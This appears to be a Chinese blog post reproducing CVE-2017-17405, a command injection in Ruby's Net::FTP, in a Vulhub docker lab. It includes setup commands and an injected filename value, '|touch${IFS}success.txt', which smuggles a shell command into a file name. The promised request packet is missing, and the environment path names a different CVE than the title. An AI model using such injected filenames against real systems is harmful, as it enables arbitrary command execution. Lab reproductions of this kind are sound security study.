CVE-2017-17405漏洞復現

Ruby Net::FTP 模塊是一個FTP客戶端,在上傳和下載文件的過程中,打開本地文件時使用了open函數。而在ruby中,open函數是借用系統命令來打開文件,且沒用過濾shell字符,導致在用戶控制文件名的情況下,將可以注入任意命令。

啓動docker

service docker start

在Vulhub中加載CVE-2017-14015漏洞環境。

cd vulhub/ruby/CVE-2017-14015
docker-compose up -d

運行一個可以訪問到的FTP客戶端。可以使用python運行pyftpdlib,如果沒有對應環境安裝就好了。
 

#安裝pyftplid
pip install pyftpdlib
#在當前目錄下使用python生成一個ftp服務器,默認監聽在0.0.0.0:2121端口。
python -m pyftpdlib -p 2121 -i 0.0.0.0

然後即可開始利用漏洞。注入命令|touch${IFS}success.txt(空格用${IFS}代替),發送如下數據包即可。

FTP服務器出現訪問記錄

然後進入docker容器內,可見success.txt已被創建。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章